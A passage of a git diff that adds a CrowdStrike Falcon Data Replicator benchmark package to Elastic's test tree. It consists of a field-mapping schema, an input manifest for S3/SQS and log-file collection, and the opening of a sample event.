NewExecutableWrittenCount + type: long + - name: NewFileIdentifier + type: keyword + - name: NlMtu + type: keyword + - name: Nonce + type: unsigned_long + - name: Object1Type + type: keyword + - name: OnLinkPrefixLength + type: keyword + - name: OperStatus + type: keyword + - name: OriginalContentLength + type: keyword + - name: OriginalEventTimeStamp + type: keyword + - name: OriginalFilename + type: keyword + - name: OriginalParentAuthenticationId + type: keyword + - name: OriginalUserName + type: keyword + - name: OriginalUserSid + type: keyword + - name: OSVersionFileData + type: match_only_text + - name: OSVersionFileName + type: keyword + - name: OU + type: keyword + - name: ObjectNameEtw + type: match_only_text + - name: ObjectTypeEtw + type: match_only_text + - name: Objective + type: keyword + - name: OciContainerAppName + type: match_only_text + - name: OciContainerAppVersion + type: match_only_text + - name: OciContainerConfigImage + type: match_only_text + - name: OciContainerConfigLabels + type: match_only_text + - name: OciContainerConfigTty + type: match_only_text + - name: OciContainerConfigUser + type: match_only_text + - name: OciContainerEngineType + type: match_only_text + - name: OciContainerHostConfigCgroup + type: match_only_text + - name: OciContainerHostConfigDevices + type: match_only_text + - name: OciContainerHostConfigOomKillDisable + type: match_only_text + - name: OciContainerHostConfigPrivileged + type: match_only_text + - name: OciContainerHostConfigPublishAllPorts + type: match_only_text + - name: OciContainerHostConfigReadOnlyRootfs + type: match_only_text + - name: OciContainerId + type: match_only_text + - name: OciContainerImageId + type: match_only_text + - name: OciContainerInfoRetransmitted + type: match_only_text + - name: OciContainerMounts + type: match_only_text + - name: OciContainerName + type: match_only_text + - name: OciContainerNetworkSettingsIpAddress + type: match_only_text + - name: OciContainerPhase + type: match_only_text + - name: OciContainerStateOOMKilled + type: match_only_text + - name: OciContainerStatePid + type: match_only_text + - name: OciContainersStartedCount + type: match_only_text + - name: OciContainersStoppedCount + type: match_only_text + - name: OperationFlags + type: keyword + - name: Options + type: keyword + - name: OutBroadcastOctets + type: keyword + - name: OutDiscards + type: keyword + - name: OutErrors + type: keyword + - name: OutMulticastOctets + type: keyword + - name: OutMulticastPkts + type: keyword + - name: OutNUcastPkts + type: keyword + - name: OutOctets + type: keyword + - name: OutUcastOctets + type: keyword + - name: OutUcastPkts + type: keyword + - name: Parameter1 + type: keyword + - name: Parameter2 + type: keyword + - name: Parameter3 + type: keyword + - name: Parameter64_1 + type: keyword + - name: Parameter64_2 + type: keyword + - name: Parameter64_3 + type: keyword + - name: ParentAuthenticationId + type: keyword + - name: PathMtuDiscoveryTimeout + type: keyword + - name: ParentCommandLine + type: keyword + multi_fields: + - name: text + type: match_only_text + - name: ParentImageFileName + type: keyword + - name: ParentImageFilePath + type: keyword + - name: PasswordLastSet + type: keyword + - name: PatternDispositionDescription + type: keyword + - name: PatternDispositionFlags + type: group + fields: + - name: ContainmentFileSystem + type: boolean + - name: BlockingUnsupportedOrDisabled + type: boolean + - name: BootupSafeguardEnabled + type: boolean + - name: CriticalProcessDisabled + type: boolean + - name: Detect + type: boolean + - name: FsOperationBlocked + type: boolean + - name: HandleOperationDowngraded + type: boolean + - name: InddetMask + type: boolean + - name: Indicator + type: boolean + - name: KillActionFailed + type: boolean + - name: KillParent + type: boolean + - name: KillProcess + type: boolean + - name: KillSubProcess + type: boolean + - name: OperationBlocked + type: boolean + - name: PolicyDisabled + type: boolean + - name: ProcessBlocked + type: boolean + - name: QuarantineFile + type: boolean + - name: QuarantineMachine + type: boolean + - name: RegistryOperationBlocked + type: boolean + - name: Rooting + type: boolean + - name: SensorOnly + type: boolean + - name: SuspendParent + type: boolean + - name: SuspendProcess + type: boolean + - name: PatternDispositionValue + type: long + - name: PatternId + type: keyword + - name: PatternIdList + type: match_only_text + - name: PciAttachmentState + type: keyword + - name: PciConfigDataBdsm + type: match_only_text + - name: PciConfigDataBiosCntl + type: match_only_text + - name: PciConfigDataGenPmconA + type: match_only_text + - name: PciConfigDataGgc + type: match_only_text + - name: PciConfigDataHfsts1 + type: match_only_text + - name: PciConfigDataMesegBase + type: match_only_text + - name: PciConfigDataRemapbase + type: match_only_text + - name: PciConfigDataRemaplimit + type: match_only_text + - name: PciConfigDataSmramc + type: match_only_text + - name: PciConfigDataTom + type: match_only_text + - name: PciConfigDataTouud + type: match_only_text + - name: PciConfigDataTsegmb + type: match_only_text + - name: Pcr0 + type: match_only_text + - name: Pcr1 + type: match_only_text + - name: Pcr2 + type: match_only_text + - name: Pcr3 + type: match_only_text + - name: Pcr4 + type: match_only_text + - name: Pcr5 + type: match_only_text + - name: Pcr6 + type: match_only_text + - name: Pcr7 + type: match_only_text + - name: PendingUpdateIds + type: match_only_text + - name: PerformanceCounter + type: keyword + - name: PermanentPhysicalAddress + type: keyword + - name: PhysicalAddress + type: keyword + - name: PhysicalAddressLength + type: long + - name: PhysicalCoreCount + type: long + - name: PhysicalMediumType + type: keyword + - name: PlatformId + type: keyword + - name: PlatformName + type: keyword + - name: PointerSize + type: keyword + - name: PreferredLifetime + type: keyword + - name: PrefixLength + type: keyword + - name: PrefixOrigin + type: keyword + - name: PreviousConnectTime + type: date + - name: PrivilegedProcessHandleCount + type: long + - name: PrimaryModule + type: keyword + - name: PrivilegesBitmask + type: keyword + - name: ProcessAttributes + type: match_only_text + - name: ProcessCount + type: long + - name: ProcessCreateFlags + type: keyword + - name: ProcessId + type: long + - name: ProcessParameterFlags + type: keyword + - name: ProcessStartKey + type: keyword + - name: ProcessSxsFlags + type: keyword + - name: ProcessorPackageCount + type: long + - name: ProductType + type: keyword + - name: ProtectVirtualMemoryCount + type: long + - name: ProvisionState + type: keyword + - name: PublicKeys + type: keyword + - name: PupAdwareConfidence + type: keyword + - name: PupAdwareDecisionValue + type: keyword + - name: QuarantinedFileExtendedState + type: match_only_text + - name: QuarantinedFileName + type: match_only_text + - name: QuarantinedFileState + type: match_only_text + - name: QueryStatus + type: integer + - name: QueueApcCount + type: long + - name: RawThreadId + type: keyword + - name: ReachableTime + type: keyword + - name: ReceiveLinkSpeed + type: keyword + - name: ReferrerUrl + type: keyword + - name: RegClassification + type: keyword + - name: RegClassificationFlags + type: keyword + - name: RegClassificationIndex + type: keyword + - name: RegConfigClass + type: keyword + - name: RegConfigFlags + type: keyword + - name: RegConfigIndex + type: keyword + - name: RegConfigValueType + type: keyword + - name: RegObjectName + type: keyword + - name: RegOperationType + type: keyword + - name: RegType + type: keyword + - name: RegValueName + type: keyword + - name: RemoteAddressMaskIP4 + type: keyword + - name: RemoteAddressMaskIP6 + type: keyword + - name: RemoteAddressString + type: keyword + - name: ResendToCloud + type: keyword + - name: RespondingDnsServer + type: keyword + - name: RetransmitTime + type: keyword + - name: RFMState + type: keyword + - name: RGID + type: keyword + - name: RootPath + type: keyword + - name: RouteAge + type: keyword + - name: RouteMetric + type: keyword + - name: RouteOrigin + type: keyword + - name: RouterDiscoveryBehavior + type: keyword + - name: RPath + type: match_only_text + - name: RUID + type: keyword + - name: ReasonOfFunctionalityLevel + type: keyword + - name: RegBinaryValue + type: match_only_text + - name: RegCreateDisposition + type: match_only_text + - name: RegCreateOptions + type: match_only_text + - name: RegKeySecurityDecreasedCount + type: long + - name: RegPostObjectName + type: match_only_text + - name: RegRootObjectName + type: match_only_text + - name: RegStringValue + type: match_only_text + - name: RemoteAccount + type: keyword + - name: RemovableDiskFileWrittenCount + type: long + - name: RequestType + type: keyword + - name: RpcClientProcessId + type: keyword + - name: RpcClientThreadId + type: keyword + - name: RpcNestingLevel + type: keyword + - name: RpcOpClassification + type: match_only_text + - name: RpcOpNum + type: keyword + - name: RunDllInvocationCount + type: long + - name: SHA1String + type: keyword + - name: SHA256String + type: keyword + - name: SVGID + type: keyword + - name: SVUID + type: keyword + - name: SamAccountName + type: match_only_text + - name: ScopeLevel + type: keyword + - name: ScopeZone + type: keyword + - name: ScreenshotsTakenCount + type: long + - name: ScreenshotType + type: keyword + - name: ScriptContent + type: match_only_text + - name: ScriptContentBytes + type: match_only_text + - name: ScriptContentName + type: keyword + - name: ScriptContentScanId + type: match_only_text + - name: ScriptControlErrorCode + type: keyword + - name: ScriptEngineInvocationCount + type: long + - name: ScriptingLanguageId + type: keyword + - name: SensorGroupingTags + type: keyword + - name: SensorId + type: keyword + - name: SensorStateBitMap + type: keyword + - name: ServiceAccessPropertiesEtw + type: match_only_text + - name: ServiceDelayedAutoStart + type: match_only_text + - name: ServiceDependOnService + type: match_only_text + - name: ServiceDescription + type: keyword + - name: ServiceDisplayName + type: keyword + - name: ServiceErrorControl + type: keyword + - name: ServiceEventCount + type: long + - name: ServiceFailureActions + type: keyword + - name: ServiceImagePath + type: keyword + - name: ServiceSecurity + type: keyword + - name: ServiceStart + type: keyword + - name: ServiceType + type: keyword + - name: ServicePackMajor + type: keyword + - name: SessionId + type: keyword + - name: SessionProcessId + type: keyword + - name: SetThreadContextCount + type: long + - name: Severity + type: integer + - name: SeverityName + type: keyword + - name: ShareAccess + type: keyword + - name: SiteName + type: keyword + - name: Size + type: long + - name: SHA1HashData + type: keyword + - name: SHA256HashData + type: keyword + - name: ShareName + type: keyword + - name: ShareSecurity + type: keyword + - name: ShareSecuritySddl + type: keyword + - name: SignatureErrorState + type: keyword + - name: SignatureState + type: keyword + - name: SignInfoFlags + type: keyword + - name: SitePrefixLength + type: keyword + - name: SkipAsSource + type: keyword + - name: SmbClientName + type: keyword + - name: SmbShareName + type: keyword + - name: SnapshotFileOpenCount + type: long + - name: SourceAccountDomain + type: keyword + - name: SourceAccountObjectGuid + type: keyword + - name: SourceAccountObjectSid + type: keyword + - name: SourceAccountSamAccountName + type: keyword + - name: SourceEndpointAccountObjectGuid + type: keyword + - name: SourceEndpointAccountObjectSid + type: keyword + - name: SourceEndpointAddressIP4 + type: keyword + - name: SourceEndpointHostName + type: keyword + - name: SourceEndpointNetworkTag + type: keyword + - name: SourceEndpointNetworkType + type: keyword + - name: SourceEventUniqueId + type: keyword + - name: SourceFileName + type: keyword + - name: SourceProcessId + type: keyword + - name: SourceProducts + type: keyword + - name: SourceThreadId + type: keyword + - name: SourceThreadModule + type: match_only_text + - name: SourceThreadStartAddress + type: keyword + - name: SourceVendors + type: keyword + - name: SpibarDataBfpr + type: match_only_text + - name: SpibarDataFreg0 + type: match_only_text + - name: SpibarDataFreg1 + type: match_only_text + - name: SpibarDataFreg2 + type: match_only_text + - name: SpibarDataFreg3 + type: match_only_text + - name: SpibarDataFreg4 + type: match_only_text + - name: SpibarDataHsfs + type: match_only_text + - name: SpibarDataPr0 + type: match_only_text + - name: SpibarDataPr1 + type: match_only_text + - name: SpibarDataPr2 + type: match_only_text + - name: SpibarDataPr3 + type: match_only_text + - name: SpibarDataPr4 + type: match_only_text + - name: SpibarDataVscc0 + type: match_only_text + - name: SpibarDataVscc1 + type: match_only_text + - name: StartTime + type: date + - name: Status + type: keyword + - name: StorageUsageInfo + type: match_only_text + - name: SubStatus + type: keyword + - name: SubjectDomainNameEtw + type: match_only_text + - name: SuffixOrigin + type: keyword + - name: SuppressType + type: keyword + - name: SuspectStackCount + type: long + - name: SuspiciousCredentialModuleLoadCount + type: long + - name: SuspiciousDnsRequestCount + type: long + - name: SuspiciousFontLoadCount + type: long + - name: SuspiciousRawDiskReadCount + type: long + - name: SymbolicLinkName + type: keyword + - name: SymbolicLinkTarget + type: keyword + - name: SyntheticPR2Flags + type: keyword + - name: SystemManufacturer + type: keyword + - name: SystemProcessCount + type: match_only_text + - name: SystemProductName + type: keyword + - name: SystemSerialNumber + type: keyword + - name: SystemSku + type: keyword + - name: SystemTableIndex + type: long + - name: Tactic + type: keyword + - name: Tags + type: keyword + - name: TargetCommandLineParameters + type: keyword + - name: TargetDomainControllerObjectGuid + type: keyword + - name: TargetDomainControllerObjectSid + type: keyword + - name: TargetFileName + type: keyword + - name: TargetSHA256HashData + type: keyword + - name: TargetThreadId + type: keyword + - name: TargetThreadModule + type: keyword + - name: TaskAuthor + type: keyword + - name: TaskExecArguments + type: keyword + - name: TaskExecCommand + type: keyword + - name: TaskName + type: keyword + - name: TaskXml + type: match_only_text + - name: Technique + type: keyword + - name: TemplateDisposition + type: keyword + - name: TemplateInstanceId + type: keyword + - name: ThreadStartAddress + type: keyword + - name: ThreadStartBytes + type: match_only_text + - name: ThreadStartContext + type: keyword + - name: Timeout + type: long + - name: TokenType + type: keyword + - name: TotalCount + type: long + - name: TransmitLinkSpeed + type: keyword + - name: TreeId + type: keyword + - name: TunnelType + type: keyword + - name: Type + type: keyword + description: 'The endpoint detection type ("ldt": Legacy Endpoint Detection, or "ofp": Office Prevention Macro Detection).' + - name: USN + type: keyword + - name: UninstallPendingUpdateIds + type: match_only_text + - name: UnixMode + type: keyword + - name: UnsignedModuleLoadCount + type: long + - name: UploadId + type: keyword + - name: User + type: keyword + - name: UserFlags + type: keyword + - name: UserGroupsBitmask + type: keyword + - name: UserLogoffType + type: keyword + - name: UserLogonFlags + type: keyword + - name: UserLogonFlags_decimal + type: keyword + - name: UserMemoryAllocateExecutableCount + type: long + - name: UserMemoryAllocateExecutableRemoteCount + type: long + - name: UserMemoryProtectExecutableCount + type: long + - name: UserMemoryProtectExecutableRemoteCount + type: long + - name: UserName + type: keyword + - name: UserRid + type: keyword + - name: UserSid + type: keyword + - name: UserSid_readable + type: keyword + - name: UserThread + type: keyword + - name: UserTime + type: long + - name: ValidLifetime + type: keyword + - name: VerifiedCertificate + type: keyword + - name: VersionInfo + type: match_only_text + - name: VnodeModificationType + type: keyword + - name: VnodeType + type: keyword + - name: VolumeAppearanceTime + type: keyword + - name: VolumeBusName + type: keyword + - name: VolumeBusPath + type: keyword + - name: VolumeDeviceCharacteristics + type: keyword + - name: VolumeDeviceInternal + type: keyword + - name: VolumeDeviceModel + type: keyword + - name: VolumeDeviceObjectFlags + type: keyword + - name: VolumeDevicePath + type: keyword + - name: VolumeDeviceProtocol + type: keyword + - name: VolumeDeviceRevision + type: keyword + - name: VolumeDeviceType + type: keyword + - name: VolumeDeviceVendor + type: match_only_text + - name: VolumeDriveLetter + type: keyword + - name: VolumeEncryptionStatus + type: keyword + - name: VolumeFileSystemDevice + type: keyword + - name: VolumeFileSystemDriver + type: keyword + - name: VolumeFileSystemType + type: keyword + - name: VolumeIsEncrypted + type: keyword + - name: VolumeIsNetwork + type: keyword + - name: VolumeLabel + type: keyword + - name: VolumeMediaBSDMajor + type: keyword + - name: VolumeMediaBSDMinor + type: keyword + - name: VolumeMediaBSDName + type: keyword + - name: VolumeMediaBSDUnit + type: keyword + - name: VolumeMediaContent + type: keyword + - name: VolumeMediaEjectable + type: keyword + - name: VolumeMediaName + type: keyword + - name: VolumeMediaPath + type: keyword + - name: VolumeMediaRemovable + type: keyword + - name: VolumeMediaSize + type: keyword + - name: VolumeMediaUUID + type: keyword + - name: VolumeMediaWhole + type: keyword + - name: VolumeMediaWritable + type: keyword + - name: VolumeMountPoint + type: keyword + - name: VolumeName + type: keyword + - name: VolumeOriginPath + type: match_only_text + - name: VolumeRealDeviceName + type: keyword + - name: VolumeSectorSize + type: keyword + - name: VolumeSessionUUID + type: keyword + - name: VolumeSnapshotName + type: match_only_text + - name: VolumeSnapshotTimeStamp + type: match_only_text + - name: VolumeType + type: keyword + - name: VolumeUUID + type: keyword + - name: AntiTamperStateFlag + type: keyword + - name: AssemblyFlags + type: keyword + - name: AssemblyId + type: keyword + - name: AssemblyName + type: keyword + - name: BatchDataNumber + type: keyword + - name: BatchDataTotal + type: keyword + - name: BatchTimestamp + type: date + - name: BrowserExtensionId + type: keyword + - name: BrowserExtensionInstallMethod + type: keyword + - name: BrowserExtensionStatusEnabled + type: keyword + - name: BrowserFileHash + type: keyword + - name: BrowserFilePath + type: keyword + - name: BrowserName + type: keyword + - name: BrowserProfileId + type: keyword + - name: BrowserProfileName + type: keyword + - name: BrowserVersion + type: keyword + - name: ClientProcessStartKey + type: keyword + - name: ContextProcessTagsAsString + type: keyword + - name: DotnetModuleFlags + type: keyword + - name: DotnetModuleId + type: keyword + - name: EtwProviderType + type: keyword + - name: EtwRawRpcClientProcessId + type: keyword + - name: GrandparentProcessId + type: keyword + - name: HandleOperationType + type: keyword + - name: ImageBaseName + type: keyword + - name: IsHosted + type: keyword + - name: ModuleILPath + type: keyword + - name: MountedVolumeAction + type: keyword + - name: ParentProcessPatternIdList + type: keyword + - name: RTRState + type: keyword + - name: ServiceCurrentState + type: keyword + - name: ShannonEntropy + type: keyword + - name: TargetAuthenticationId + type: keyword + - name: TargetIntegrityLevel + type: keyword + - name: TargetProcessCommandLine + type: keyword + - name: TargetProcessImageFileName + type: keyword + - name: UpdateFlag + type: keyword + - name: WindowFlags + type: keyword + - name: WmiNamespaceName + type: keyword + - name: WmiProviderName + type: keyword + - name: WmiProviderType + type: keyword + - name: WmiQuery + type: keyword + - name: AnodeIndicators + type: nested + - name: ContentPatterns + type: group + fields: + - name: ID + type: keyword + - name: Name + type: keyword + - name: ConfidenceLevel + type: long + - name: MatchCount + type: long + - name: Destination + type: nested + - name: Destination.Channel + type: keyword + - name: EventTimestamp + type: date + - name: FileType.Type + type: group + fields: + - name: CategoryID + type: keyword + - name: CategoryName + type: keyword + - name: Description + type: keyword + - name: ID + type: keyword + - name: Name + type: keyword + - name: FilesEgressedCount + type: long + - name: FileCategoryCounts + type: nested + - name: ContentPatternCounts + type: nested + - name: DetectionType + type: keyword + - name: EgressEventId + type: keyword + - name: EgressSessionId + type: keyword + - name: IsClipboard + type: boolean + - name: MatchedClassification + type: group + fields: + - name: ID + type: keyword + - name: Name + type: keyword + - name: OriginWebLocations + type: flattened + - name: RelatedClassifications + type: group + fields: + - name: ID + type: keyword + - name: Name + type: keyword + - name: ResponseAction + type: keyword + - name: RuleId + type: keyword + - name: UserNotified + type: boolean + - name: UserTitle + type: keyword + - name: UserDepartment + type: keyword + - name: UserMapped + type: boolean + - name: aipCount + type: integer + - name: assessments + type: flattened + - name: cid + type: keyword + - name: discovererCount + type: integer + - name: discoverer_aid + type: keyword + - name: eid + type: integer + - name: hostname + type: keyword + - name: id + type: keyword + - name: info.host.* + description: Host information enriched from aidmaster data. + type: object + object_type: keyword + object_type_mapping_type: '*' + - name: info.user.* + description: User information enriched from userinfo data. + type: object + object_type: keyword + object_type_mapping_type: '*' + - name: localipCount + type: integer + - name: monthsincereset + type: keyword + - name: name + type: keyword + - name: os_version + type: keyword + - name: product_type_desc + type: keyword + - name: scores + type: group + fields: + - name: modified_time + type: date + - name: os + type: long + - name: overall + type: long + - name: sensor + type: long + - name: version + type: keyword + - name: subnet + type: keyword + - name: finding + type: keyword + - name: disposition + type: keyword + - name: cis_benchmark_ids + type: keyword + - name: cisa_benchmark_ids + type: keyword + - name: cloud_asset_type + type: long + - name: cloudplatform + type: keyword + - name: internal_only + type: boolean + - name: iso_benchmark_ids + type: keyword + - name: nist_benchmark_ids + type: keyword + - name: pci_benchmark_ids + type: keyword + - name: policy_severity + type: long + - name: ResourceCreateTime + type: date + - name: ResourceAttributes + type: flattened + - name: ResourceId + type: keyword + - name: ResourceIdType + type: keyword + - name: resource_url + type: keyword + - name: service + type: keyword + - name: soc2_benchmark_ids + type: keyword + - name: aws_account_id + type: keyword + - name: attack_types + type: keyword + - name: event_category + type: keyword + - name: management_event + type: boolean + - name: read_only + type: boolean + - name: request_id + type: keyword + - name: request_parameters + type: keyword + - name: response_elements + type: keyword + - name: user_identity_access_key_id + type: keyword + - name: user_identity_account_id + type: keyword + - name: user_identity_arn + type: keyword + - name: user_identity_mfa_authenticated + type: boolean + - name: vertex_id + type: keyword + - name: vertex_type + type: keyword + - name: event-type + type: keyword + - name: compliance + type: group + fields: + - name: benchmarkNames + type: keyword + - name: frameworks + type: keyword + - name: requirements + type: keyword + - name: sections + type: keyword + - name: versions + type: keyword + - name: created + type: date + - name: crn + type: keyword + - name: firstDetected + type: date + - name: lastDetected + type: date + - name: legacyPolicyId + type: long + - name: resource + type: group + fields: + - name: captured + type: date + - name: legacyResourceId + type: keyword + - name: legacyResourceTypeId + type: long + - name: resourceId + type: keyword + - name: resourceType + type: keyword + - name: revision + type: long + - name: status + type: keyword + - name: url + type: keyword + - name: findings + type: group + fields: + - name: name + type: keyword + - name: value + type: keyword + - name: ChangeId + type: keyword + - name: ContentDiff + type: group + fields: + - name: Exists + type: boolean + - name: Prevalence + type: group + fields: + - name: Key + type: keyword + - name: Suppression + type: group + fields: + - name: Suppressed + type: boolean + - name: Policy + type: group + fields: + - name: ID + type: keyword + - name: Name + type: keyword + - name: IsEBPF + type: keyword + - name: IsFromDifferentMountNamespace + type: keyword + - name: ObjectAccessOperationType + type: keyword + - name: ObjectType + type: keyword + - name: PolicyRuleSeverity + type: long + - name: FileAttributesNew + type: keyword + - name: FileAttributesPrevious + type: keyword + - name: NewFileAttributesLinux + type: keyword + - name: NewUnixPermissions + type: keyword + - name: PreviousFileAttributesLinux + type: keyword + - name: PreviousUnixPermissions + type: keyword + - name: SecurityInformationLinux + type: keyword +- name: dll.Ext.size + type: long + description: Size of DLL. +- name: file.Ext.original.name + type: keyword +- name: file.Ext.original.path + type: keyword +- name: process.Ext.token.integrity_level_name + type: keyword + description: Human readable integrity level. +- name: user.Ext.real.id + type: keyword + description: One or multiple unique identifiers of the user. +- name: group.Ext.real.id + type: keyword + description: Unique identifier for the group on the system/platform. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml new file mode 100644 index 0000000000..ae80783f57 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/manifest.yml @@ -0,0 +1,296 @@ +title: "Falcon Data Replicator" +type: logs +elasticsearch: + index_template: + settings: + index: + mapping: + total_fields: + limit: 2000 +streams: + - input: aws-s3 + template_path: aws-s3.yml.hbs + title: Falcon Data Replicator logs + description: Collect Falcon Data Replicator logs using s3 input + enabled: false + vars: + - name: access_key_id + type: text + title: Access Key ID + multi: false + required: false + show_user: true + secret: false + - name: secret_access_key + type: password + title: Secret Access Key + multi: false + required: false + show_user: true + secret: true + - name: session_token + type: password + title: Session Token + multi: false + required: false + show_user: true + secret: true + - name: queue_url + type: text + title: Queue URL + multi: false + required: true + show_user: true + description: URL of the AWS SQS queue that messages will be received from. + - name: enrich_metadata + required: true + show_user: true + title: Enrich Host and User Metadata + description: Uses data in aidmaster and userinfo to add host and user information to events. The aidmaster blob must contain the string "aidmaster" in its path and the userinfo blob path must contain "userinfo", and the FDR Notification Parsing Script must sort events so that aidmaster and userinfo events appear first in the stream. + type: bool + multi: false + default: true + - name: keep_metadata + required: true + show_user: false + title: Keep Original Host and User Metadata + description: Keep the aidmaster and userinfo documents after they have been used for event enrichment. + type: bool + multi: false + default: false + - name: metadata_ttl + required: true + show_user: true + title: Metadata TTL + description: The period of time that metadata is considered valid for. Valid time units are h, m, s, ms, us/µs and ns. + type: text + multi: false + default: 168h + - name: metadata_cache_capacity + required: true + show_user: false + title: Metadata cache capacity + description: "The maximum amount of metadata objects to cache. Operations that would cause the capacity to be exceeded will result in evictions of the oldest elements. The capacity should not be lower than the number of elements that are expected to be referenced when processing the input as evicted elements are lost. Values at or below zero indicate no limit. \nWARNING: This setting needs to be set only if the amount of metadata elements is known beforehand, otherwise it might lead to enrichment data loss. If you are not sure, leave it untouched.\n" + type: text + multi: false + default: 0 + - name: metadata_cache_write_interval + required: true + show_user: false + title: Metadata cache write interval + description: The interval between periodic cache writes to the backing file. Valid time units are h, m, s, ms, us/µs and ns. The contents are always written out to the backing file when the processor is closed. Default is zero, no periodic writes. + type: text + multi: false + default: 0 + - name: long_fields + title: Long Fields + description: Choose to `Index` or `Delete` long fields. Fields longer than 1024 bytes (except `event.original`) will be kept (indexed) or deleted based on this option. + type: select + multi: false + required: true + show_user: false + options: + - text: Index + value: index_long_fields + - text: Delete + value: delete_long_fields + default: index_long_fields + - name: long_fields_max_length + type: integer + title: Maximum Length of Fields + description: The maximum length of fields (in bytes) to consider them as too long. By default, fields larger than `1024` bytes are considered too long. This option in addition to `Long Fields` option helps users configure how integration should handle long fields. + default: 1024 + required: true + show_user: false + - name: enable_deduplication + title: Enable Data Deduplication + required: true + show_user: false + description: If data deduplication is enabled, it ensures that no duplicate events are indexed. This is achieved by generating an `_id` value based on the content of each event using the [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html). If the option is disabled, every received event will be indexed with a unique `_id` generated by Elasticsearch (overriding the the AWS-S3 input's [_id-Based Deduplication](https://www.elastic.co/docs/reference/beats/filebeat/filebeat-input-aws-s3#_document_id_generation) feature). + type: bool + multi: false + default: false + - name: preserve_original_event + required: true + show_user: true + title: Preserve original event + description: Preserves a raw copy of the original event, added to the field `event.original` + type: bool + multi: false + default: false + - name: shared_credential_file + type: text + title: Shared Credential File + multi: false + required: false + show_user: false + description: Directory of the shared credentials file + - name: credential_profile_name + type: text + title: Credential Profile Name + multi: false + required: false + show_user: false + - name: role_arn + type: text + title: Role ARN + multi: false + required: false + show_user: false + - name: endpoint + type: text + title: Endpoint + multi: false + required: false + show_user: false + default: "" + description: URL of the entry point for an AWS web service + - name: default_region + type: text + title: Default AWS Region + multi: false + required: false + show_user: false + default: "" + description: Default region to use prior to connecting to region specific services/endpoints if no AWS region is set from environment variable, credentials or instance profile. If none of the above are set and no default region is set as well, `us-east-1` is used. A region, either from environment variable, credentials or instance profile or from this default region setting, needs to be set when using regions in non-regular AWS environments such as AWS China or US Government Isolated. + - name: visibility_timeout + type: text + title: Visibility Timeout + multi: false + required: false + show_user: false + description: The duration that the received messages are hidden from subsequent retrieve requests after being retrieved by a ReceiveMessage request. The maximum is 12 hours. Valid time units are h, m, s. + - name: api_timeout + type: text + title: API Timeout + multi: false + required: false + show_user: false + description: The maximum duration of AWS API can take. The maximum is half of the visibility timeout value. Valid time units are h, m, s. + - name: fips_enabled + type: bool + title: Enable S3 FIPS + default: false + multi: false + required: false + show_user: false + description: Enabling this option changes the service name from `s3` to `s3-fips` for connecting to the correct service endpoint. + - name: proxy_url + type: text + title: Proxy URL + multi: false + required: false + show_user: false + description: URL to proxy connections in the form of http\[s\]://:@: + - name: tags + type: text + title: Tags + multi: true + show_user: false + default: + - forwarded + - crowdstrike-fdr + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: > + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. + + - name: max_number_of_messages + type: integer + title: Maximum Concurrent SQS Messages + description: Deprecated in agent version 8.16.0, this parameter is ignored if present, use `Number of Workers` instead. The maximum number of SQS messages that can be in flight at any time. + default: 5 + required: false + show_user: false + - name: number_of_workers + type: integer + title: Number of Workers + description: Number of workers that will process the S3 or SQS objects listed. + default: 5 + required: false + show_user: false + + - name: prune_fields + type: bool + title: Prune Fields + default: true + multi: false + required: false + show_user: false + description: >- + Prune fields deletes fields that are less likely to be useful. This includes `agent.ephemeral_id`, `ecs.version`, + `event.timezone` and `log.offset`. + - input: logfile + title: Falcon Data Replicator logs + description: Collect Falcon Data Replicator logs using a log file + enabled: false + vars: + - name: paths + type: text + title: Paths + multi: true + default: + - /var/log/falcon_data_replicator.log + show_user: true + - name: enrich_host_metadata + required: true + show_user: true + title: Enrich Host and User Metadata + description: Uses data in aidmaster and userinfo to add host and user information to events. The aidmaster file must be included in the paths configuration, include the string "aidmaster" in the path host information file path and "userinfo" in the user information file bath, and have a file paths that sorts before the FDR log file paths. + type: bool + multi: false + default: true + - name: keep_metadata + required: true + show_user: false + title: Keep Original Host and User Metadata + description: Keep the aidmaster and userinfo documents after they have been used for event enrichment. + type: bool + multi: false + default: false + - name: metadata_ttl + required: true + show_user: true + title: Metadata TTL + description: The period of time that host metadata is considered valid for. Valid time units are h, m, s, ms, us/µs and ns. + type: text + multi: false + default: 168h + - name: preserve_original_event + required: true + show_user: true + title: Preserve original event + description: Preserves a raw copy of the original event, added to the field `event.original` + type: bool + multi: false + default: false + - name: tags + type: text + title: Tags + multi: true + show_user: false + default: + - forwarded + - crowdstrike-fdr + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: > + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/beats/filebeat/current/filtering-and-enhancing-data.html) for details. + - name: prune_fields + type: bool + title: Prune Fields + default: true + multi: false + required: false + show_user: false + description: >- + Prune fields deletes fields that are less likely to be useful. This includes `agent.ephemeral_id`, `ecs.version`, + `event.timezone` and `log.offset`. diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json new file mode 100644 index 0000000000..a9e86832a5 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/sample_event.json @@ -0,0 +1,213 @@ +{ + "@timestamp": "2020-10-01T09:58:32.519Z", + "agent": { + "id": "eb2db106-5958-49b5-ae25-c286e62857e1", + "name": "elastic-agent-67101", + "type": "filebeat", + "version": "8.18.0" + }, + "aws": { + "s3": { + "bucket": { + "name": "elastic-package-crowdstrike-fdr-19614" + }, + "object": { + "key": "data" + } + } + }, + "crowdstrike": { + "AuthenticationId": "3783389", + "ConfigStateHash": "3998263252", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "ImageSubsystem": "2", + "IntegrityLevel": "4096", + "MD5HashData": "50d5fd1290d94d46acca0585311e74d5", + "ParentAuthenticationId": "3783389", + "ProcessCreateFlags": "525332", + "ProcessParameterFlags": "16385", + "ProcessSxsFlags": "1600", + "RpcClientProcessId": "2439558094566", + "SHA256HashData": 